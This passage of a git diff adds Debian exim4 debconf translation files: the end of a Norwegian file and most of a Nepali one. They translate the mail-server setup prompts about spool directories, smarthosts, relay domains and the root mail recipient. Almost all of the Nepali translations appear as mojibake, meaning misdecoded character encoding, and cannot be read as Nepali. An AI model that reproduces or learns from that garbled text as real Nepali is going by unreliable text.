+"er mbox og Maildir. mbox bruker én fil for hele e-postmappa lagret i /var/"
+"mail/. Med Maildir-format lagres hver melding i en egen fil i ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Merk at de fleste e-postverktøy i Debian forventer i standard-oppsettene "
+"sine at lokal leveringsmåte er mbox."
+
+#, fuzzy
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr "Flytte ikke-levert e-post fra exim(v3) til exim4-køen?"
+
+#, fuzzy
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Det finnes e-post i exims(v3) eller exim-tls'(v3) køkatalog /var/spool/"
+#~ "exim/input som ennå ikke er blitt levert."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Om dette krysses av blir disse flyttet til exim4s kø (/var/spool/exim4/"
+#~ "input), hvor de vil bli håndtert av exim4."
+
+#, fuzzy
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Dette virker bare den ene veien: Exim4 kan behandle køen til exim(v3), "
+#~ "men ikke omvendt. Meldingene bør flyttes bare dersom exim(v3) ikke skal "
+#~ "installeres igjen, ellers kan meldingene flyttes manuelt senere."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr "Hvis denne lista er tom vil Exim ikke levere lokal e-post."
diff --git a/debian/po/ne.po b/debian/po/ne.po
new file mode 100644
index 0000000..4733aff
--- /dev/null
+++ b/debian/po/ne.po
@@ -0,0 +1,611 @@
+# translation of exim4_debian_po_ne.po to Nepali
+# Shyam Krishna Bal <shyamkrishna_bal@yahoo.com>, 2006.
+# Shyam Krishna Bal <shyam@mpp.org.np>, 2006.
+# shyam krishna bal <shyamkrishna_bal@yahoo.com>, 2007.
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4_debian_po_ne\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2007-07-25 18:20+0545\n"
+"Last-Translator: shyam krishna bal <shyamkrishna_bal@yahoo.com>\n"
+"Language-Team: Nepali <info@mpp.org.np>\n"
+"Language: ne\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2;plural=(n!=1)\n"
+"X-Generator: KBabel 1.11.4\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid "Remove undelivered messages in spool directory?"
+msgstr "सà¥à¤ªà¥‚ल डाइरेकà¥à¤Ÿà¥à¤°à¥€à¤®à¤¾ हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ नभà¤à¤•à¤¾ पतà¥à¤°à¤¹à¤°à¥‚ हटाउनà¥à¤¹à¥à¤¨à¥à¤› ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"तà¥à¤¯à¤¹à¤¾à¤ à¤à¤•à¥à¤œà¤¿à¤® सà¥à¤ªà¥‚ल डाइरेकà¥à¤Ÿà¥à¤°à¥€ /var/spool/exim4/input मा पतà¥à¤°à¤¹à¤°à¥‚ छनॠजà¥à¤¨ अहिले समà¥à¤® "
+"हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ भà¤à¤•à¥‹ छैन । à¤à¤•à¥à¤œà¤¿à¤® हटाउà¤à¤¨à¤¾à¤²à¥‡ तिनीहरू à¤à¤•à¥à¤œà¤¿à¤® पà¥à¤¨-सà¥à¤¥à¤¾à¤ªà¤¨à¤¾ नभठसमà¥à¤® हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ हà¥à¤¨à¥‡ "
+"छैन ।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+"यदि यो विकलà¥à¤ª रोजà¥à¤¨à¥ भà¤à¤¨ भने, à¤à¤•à¥à¤œà¤¿à¤® पà¥à¤¨: सà¥à¤¥à¤¾à¤ªà¤¨à¤¾ गरेपछि पछिलà¥à¤²à¥‹ मितिमा हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ गरà¥à¤¨ "
+"लाममा सनà¥à¤¦à¥‡à¤¶à¤¹à¤°à¥‚लाई अनà¥à¤®à¤¤à¤¿ दिà¤à¤°, सà¥à¤ªà¥‚ल डाइरेकà¥à¤Ÿà¤°à¥€ राखिनà¥à¤› ।"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr " यो पà¥à¤¯à¤¾à¤•à¥‡à¤œà¤¹à¤°à¥‚को सटà¥à¤Ÿà¤¾à¤®à¤¾ à¤à¤•à¥à¤œà¤¿à¤®à¥ª-कनà¥à¤«à¤¿à¤— पà¥à¤¨: कनà¥à¤«à¤¿à¤—र गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥"
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+"à¤à¤•à¥à¤œà¤¿à¤®à¥ª सà¤à¤— समरà¥à¤ªà¤¿à¤¤ गरिà¤à¤•à¥‹ पà¥à¤¯à¤¾à¤•à¥‡à¤œ, à¤à¤•à¥à¤œà¤¿à¤®à¥ª-कनà¥à¤«à¤¿à¤—मा यसको कनà¥à¤«à¤¿à¤—रेसन फà¥à¤¯à¤¾à¤•à¥à¤Ÿà¤°à¥à¤¡ आउट छ ।"
+"à¤à¤•à¥à¤œà¤¿à¤®à¥ª पà¥à¤¨: कनà¥à¤«à¤¿à¤—र गरà¥à¤¨, 'dpkg-reconfigure exim4-config' पà¥à¤°à¤¯à¥‹à¤— गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ ।"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "इनà¥à¤Ÿà¤°à¤¨à¥‡à¤Ÿ साइट; पतà¥à¤° पठाइयो र STMP पà¥à¤°à¤¯à¥‹à¤— गरेर सिधै पà¥à¤°à¤¾à¤ªà¥à¤¤ गरियो"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤¦à¥à¤µà¤¾à¤°à¤¾ पतà¥à¤° पठाइयो; via SMTP वा fetchmail पायो"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤¦à¥à¤µà¤¾à¤°à¤¾ पतà¥à¤° पठाइयो; कà¥à¤¨à¥ˆ सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ पतà¥à¤° छैन"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ मातà¥à¤°; सञà¥à¤œà¤¾à¤²à¤®à¤¾ होइन"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "यो समयमा कà¥à¤¨à¥ˆ कनà¥à¤«à¤¿à¤—रेसन भà¤à¤¨"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "पतà¥à¤° कनà¥à¤«à¤¿à¤—रेसनको सामनà¥à¤¯ पà¥à¤°à¤•à¤¾à¤°:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "कनà¥à¤«à¤¿à¤—रेसन पà¥à¤°à¤•à¤¾à¤° चयन गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ जसले तपाईà¤à¤•à¥‹ उतà¥à¤¤à¤® आवशà¥à¤¯à¤•à¤¤à¤¾à¤¹à¤°à¥à¤²à¤¾à¤ˆ भेटà¥à¤¦à¤› ।"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"डायलअप पà¥à¤°à¤£à¤¾à¤²à¥€à¤¹à¤°à¥‚ समावेश गरेर, गतिशिल आईपी ठेगानाहरूसà¤à¤— पà¥à¤°à¤£à¤¾à¤²à¥€à¤¹à¤°à¥‚, अरà¥à¤•à¥‹ मेशिनमा "
+"निरà¥à¤—मण पतà¥à¤° पठाउन सामानà¥à¤¯à¤¤à¤¯à¤¾ कनà¥à¤«à¤¿à¤—र गरिनेछ, जसलाई हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£à¤•à¤¾ लागि 'सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿ' "
+"भनिनà¥à¤› किनभने इनà¥à¤Ÿà¤°à¤¨à¥‡à¤Ÿà¤®à¤¾ धेरै पà¥à¤°à¤¾à¤ªà¥à¤¤ गरà¥à¤¨à¥‡ पà¥à¤°à¤£à¤¾à¤²à¥€à¤¹à¤°à¥‚ले सà¥à¤ªà¥à¤¯à¤¾à¤® सà¥à¤°à¤•à¥à¤·à¤¾à¤•à¥‹ रूपमा गतिशिल आईपी "
+"ठेगानाबाट आगमन पतà¥à¤° बà¥à¤²à¤• गरà¥à¤¦à¤› ।"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+"गतिशील आई पी ठेगाना भà¤à¤•à¥‹ पà¥à¤°à¤£à¤¾à¤²à¥€à¤²à¥‡ यसको आफà¥à¤¨à¥ˆ पतà¥à¤° पà¥à¤°à¤¾à¤ªà¥à¤¤ गरà¥à¤¨ सकà¥à¤›, (मूल र "
+"पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤°à¤•à¤¾ लागि पतà¥à¤° बाहेक) सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ पूरà¥à¤£ रूपमा अकà¥à¤·à¤® गरिà¤à¤•à¥‹ हà¥à¤¨à¤¸à¤•à¥à¤› ।"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "साà¤à¤šà¥à¤šà¥ˆ कनà¥à¤«à¤¿à¤—र नभà¤à¤•à¥‹ पतà¥à¤° पà¥à¤°à¤£à¤¾à¤²à¥€ छोडà¥à¤¨à¥à¤¹à¥à¤¨à¥à¤› ?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"पतà¥à¤° पà¥à¤°à¤£à¤¾à¤²à¥€ कनà¥à¤«à¤¿à¤—र नभà¤à¤¸à¤®à¥à¤®, यो विचà¥à¤›à¥‡à¤¦à¤¨ हà¥à¤¨à¥‡à¤› र पà¥à¤°à¤¯à¥‹à¤— हà¥à¤¨ सकà¥à¤¦à¥ˆà¤¨ । पछिलà¥à¤²à¥‹ समयमा "
+"कनà¥à¤«à¤¿à¤—रेसन या त हातदà¥à¤µà¤¾à¤°à¤¾ वा मूलको रूपमा 'dpkg-reconfigure exim4-config' चलाà¤à¤° "
+"गरà¥à¤¨ सकिनà¥à¤› ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "पà¥à¤°à¤£à¤¾à¤²à¥€ पतà¥à¤° नाम:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+"'पतà¥à¤° नाम' डोमेन नाम हो जà¥à¤¨ डोमेन नाम बिना पतà¥à¤° ठेगानाहरू 'योगà¥à¤¯' गरà¥à¤¨ पà¥à¤°à¤¯à¥‹à¤— गरिनà¥à¤› ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"यो नाम अनà¥à¤¯ कारà¥à¤¯à¤•à¥à¤°à¤®à¤¹à¤°à¥à¤²à¥‡ पनि पà¥à¤°à¤¯à¥‹à¤— गरà¥à¤¨à¥‡à¤› । यो à¤à¤•à¤², पूरà¥à¤£ योगà¥à¤¯ डोमेन नाम (FQDN) पनि "
+"हà¥à¤¨ सकà¥à¤› ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+"तसरà¥à¤¥, यदि सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ होसà¥à¤Ÿà¤®à¤¾ पतà¥à¤° ठेगाना foo@example.org छ भने, यो विकलà¥à¤ªà¤•à¤¾ लागि सही "
+"मान example.org हà¥à¤¨à¥‡à¤› ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"यदि तपाईà¤à¤²à¥‡ पà¥à¤¨:लेखन सकà¥à¤·à¤® गरà¥à¤¨à¥ भयो भने बाहिर जाने पतà¥à¤°à¤¹à¤°à¥à¤•à¥‹ लाइनहरà¥à¤¬à¤¾à¤Ÿ: यो नाम देखा परà¥à¤¨ "
+"सकà¥à¤¦à¥ˆà¤¨ ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "पतà¥à¤° सà¥à¤µà¥€à¤•à¤¾à¤° गरिने अनà¥à¤¯ गनà¥à¤¤à¤¬à¥à¤¯ सà¥à¤¥à¤¾à¤¨à¤¹à¤°à¥‚:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"कृपया पà¥à¤°à¤¾à¤ªà¤• डोमेनको अलà¥à¤ªà¤¬à¤¿à¤°à¤¾à¤®-विभाजित सूची पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿ गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ जसका लागि यो मेशिन आफैले "
+"अनà¥à¤¤à¤¿à¤® गनà¥à¤¤à¤¬à¥à¤¯ विचार गरà¥à¤¨à¥‡à¤› । यी डोमेनहरूलाई साà¤à¤¾ रूपमा 'सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ डोमेनहरू' भनिनà¥à¤› । "
+"सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ होसà¥à¤Ÿà¤¨à¤¾à¤® (${fqdn}) र 'सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ होसà¥à¤Ÿ' सधै यहाठदिà¤à¤•à¥‹ सूचीमा थप हà¥à¤¨à¥à¤› ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"पूरà¥à¤µà¤¨à¤¿à¤°à¥à¤§à¤¾à¤°à¤£ दà¥à¤µà¤¾à¤°à¤¾ सबै डोमेनहरू उसà¥à¤¤à¥ˆ वà¥à¤¯à¤µà¤¹à¤¾à¤° गरिने छनॠ। यदि दà¥à¤µà¥ˆ a.example र b.example "
+"सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ डोमेनहरू हà¥à¤¨ भने, acc@a.example र acc@b.example à¤à¤‰à¤Ÿà¥ˆ अनà¥à¤¤à¤¿à¤® गनà¥à¤¤à¤¬à¥à¤¯à¤®à¤¾ "
+"हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ गरिनेछनॠ। यदि तपाईठविभिनà¥à¤¨ वà¥à¤¯à¤µà¤¹à¤¾à¤° गरà¥à¤¨ विभिनà¥à¤¨ डोमेन नामहरू चाहनà¥à¤¹à¥à¤¨à¥à¤›à¤­à¤¨à¥‡, "
+"तपाईà¤à¤²à¥‡ कनफिग फाइलहरू समà¥à¤ªà¤¾à¤¦à¤¨ गरà¥à¤¨à¥à¤ªà¤°à¥à¤¨à¥‡à¤› । "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "पतà¥à¤° पà¥à¤°à¤¶à¤¾à¤°à¤£ गरà¥à¤¨à¤•à¥‹ लागि डोमेनहरू:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"कृपया पà¥à¤°à¤¾à¤ªà¤• डोमेनको लागि अलà¥à¤ªà¤¬à¤¿à¤°à¤¾à¤®-बिभाजित सूची पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿ गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ जसको लागि यो "
+"पà¥à¤°à¤£à¤¾à¤²à¥€à¤²à¥‡ पतà¥à¤° पà¥à¤°à¤¸à¤¾à¤°à¤£ गरà¥à¤¦à¤›, जसà¥à¤¤à¥ˆ फलà¥à¤¬à¥à¤¯à¤¾à¤• à¤à¤® à¤à¤•à¥à¤¸ वा पतà¥à¤° गेटवे । यसको मतलब यो पà¥à¤°à¤£à¤¾à¤²à¥€à¤²à¥‡ "
+"इनà¥à¤Ÿà¤°à¤¨à¥‡à¤Ÿà¤®à¤¾ कà¥à¤¨à¥ˆ ठाउà¤à¤¬à¤¾à¤Ÿ यी डोमेनहरूका लागि पतà¥à¤° सà¥à¤µà¥€à¤•à¤¾à¤° गरà¥à¤¨à¥‡à¤› र तिनीहरूलाई सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ "
+"हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ नियमको आधारमा हसà¥à¤¤à¤¾à¤¨à¥à¤¤à¤°à¤£ गरà¥à¤› । "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "यहाठसà¥à¤¥à¤¾à¤¨à¤¿à¤¯ डोमेनहरू उलà¥à¤²à¥‡à¤– नगरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ । वाइलà¥à¤¡à¤•à¤¾à¤°à¥à¤¡à¤¹à¤°à¥‚ पà¥à¤°à¤¯à¥‹à¤— गरिà¤à¤•à¥‹ हà¥à¤¨à¤¸à¤•à¥à¤› ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "पतà¥à¤° पà¥à¤°à¤¶à¤¾à¤°à¤£ गरà¥à¤¨ मेशिनहरू:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"कृपया आईपी ठेगाना दायराको अलà¥à¤ªà¤¬à¤¿à¤°à¤¾à¤®-विभाजित सूची पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿ गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ जसका लागि यो "
+"पà¥à¤°à¤£à¤¾à¤²à¥€à¤²à¥‡ सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤•à¥‹ रूपमा पà¥à¤°à¤•à¤¾à¤°à¥à¤¯ गरेर, बिना सरà¥à¤¤ पतà¥à¤° पà¥à¤°à¤¶à¤¾à¤°à¤£ गरà¥à¤¦à¤› ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"तपाईà¤à¤²à¥‡ मानक ठेगाना/उपसरà¥à¤— ढाà¤à¤šà¤¾ (e.g. 194.222.242.0/24 वा 5f03:1200:836f::/48) "
+"पà¥à¤°à¤¯à¥‹à¤— गरà¥à¤¨à¥ परà¥à¤¨à¥‡à¤› ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"यदि यो पà¥à¤°à¤£à¤¾à¤²à¥€ अनà¥à¤¯ कà¥à¤¨à¥ˆ होसà¥à¤Ÿà¤•à¥‹ लागि सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿ बनेन भने, यो सूची खाली छोडà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ पà¥à¤°à¤¯à¥‹à¤—करà¥à¤¤à¤¾à¤¹à¤°à¥à¤•à¥‹ लागि दृशà¥à¤¯à¤¾à¤¤à¥à¤®à¤• डोमेन नाम:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"निरà¥à¤—ामन पतà¥à¤°à¤®à¤¾ सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ पतà¥à¤° नाम लà¥à¤•à¤¾à¤‰à¤¨ यो विकलà¥à¤ª सकà¥à¤·à¤® भयो । डोमेन नाम निरà¥à¤¦à¤¿à¤·à¥à¤Ÿ गरà¥à¤¨ "
+"यो यसकारण आवशà¥à¤¯à¤• भयो कि यो पà¥à¤°à¤£à¤¾à¤²à¥€ सà¥à¤¥à¤¾à¤¨à¤¿à¤¯ पà¥à¤°à¤¯à¥‹à¤—करà¥à¤¤à¤¾à¤•à¥‹, पà¥à¤°à¥‡à¤·à¤• ठेगानाहरूको डोमेन "
+"भागका लागि पà¥à¤°à¤¯à¥‹à¤— हà¥à¤¨à¥‡à¤› । "
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "निरà¥à¤—ामन सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤•à¥‹ आई पी ठेगाना वा होसà¥à¤Ÿà¤¨à¤¾à¤®:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"कृपया पतà¥à¤° सरà¥à¤­à¤°à¤•à¥‹ आई पी ठेगाना वा होसà¥à¤Ÿ नाम पà¥à¤°à¤µà¤¿à¤·à¥à¤Ÿ गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ ता कि यो पà¥à¤°à¤£à¤¾à¤²à¥€ "
+"निरà¥à¤—ामन सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤•à¥‹ रूपमा पà¥à¤°à¤¯à¥‹à¤— हà¥à¤¨à¥‡à¤› । यदि सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤²à¥‡ TCP/25 बाट विभिनà¥à¤¨ पोरà¥à¤Ÿà¤®à¤¾ "
+"तपाईà¤à¤•à¥‹ पतà¥à¤° मातà¥à¤° सà¥à¤µà¥€à¤•à¤¾à¤° गरà¥à¤¦à¤› भने, दà¥à¤ˆà¤µà¤Ÿà¤¾ अलà¥à¤ªà¤¬à¤¿à¤°à¤¾à¤®à¤¹à¤°à¥‚ र पोरà¥à¤Ÿ नमà¥à¤¬à¤° (जसà¥à¤¤à¥ˆ smarthost."
+"example::587 वा 192.168.254.254::2525) थपà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ । IPv6 ठेगानाहरूमा अलà¥à¤ªà¤¬à¤¿à¤°à¤¾à¤®à¤¹à¤°à¥‚ "
+"डबल हà¥à¤¨ आवशà¥à¤¯à¤• छ ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"यदि सà¥à¤®à¤¾à¤°à¥à¤Ÿà¤¹à¥‹à¤¸à¥à¤Ÿà¤²à¤¾à¤ˆ आधिकारिकताको आवशà¥à¤¯à¤• परेमा, SMTP आधिकारिकता सेटअप गरà¥à¤¨à¥‡ बारे "
+"दà¥à¤°à¤·à¥à¤Ÿà¤¬à¥à¤¯à¤•à¥‹ लागि /usr/share/doc/exim4-base/README.Debian.gz सनà¥à¤¦à¤°à¥à¤­ गरà¥à¤¨à¥à¤¹à¥‹à¤¸à¥ ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "मूल र पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤° पतà¥à¤° पà¥à¤°à¤¾à¤ªà¤•:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"'पोसà¥à¤Ÿà¤®à¤¾à¤¸à¥à¤Ÿà¤°', 'मूल', र अनà¥à¤¯ पà¥à¤°à¤£à¤¾à¤²à¥€ खाताहरू वासà¥à¤¤à¤µà¤¿à¤• पà¥à¤°à¤£à¤¾à¤²à¥€ पà¥à¤°à¤¶à¤¾à¤¸à¤•à¤•à¥‹ पà¥à¤°à¤¯à¥‹à¤—करà¥à¤¤à¤¾ "
+"खातामा पà¥à¤¨: निरà¥à¤¦à¥‡à¤¶à¤¿à¤¤ हà¥à¤¨ आवशà¥à¤¯à¤• हà¥à¤¨à¥à¤› ।"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"यदि यो मान खाली राखियो भने, सो पतà¥à¤° var/mail/mail मा बचत गरिनेछ जà¥à¤¨ सिफारिस "
+"गरिà¤à¤•à¥‹ छैन । "
+
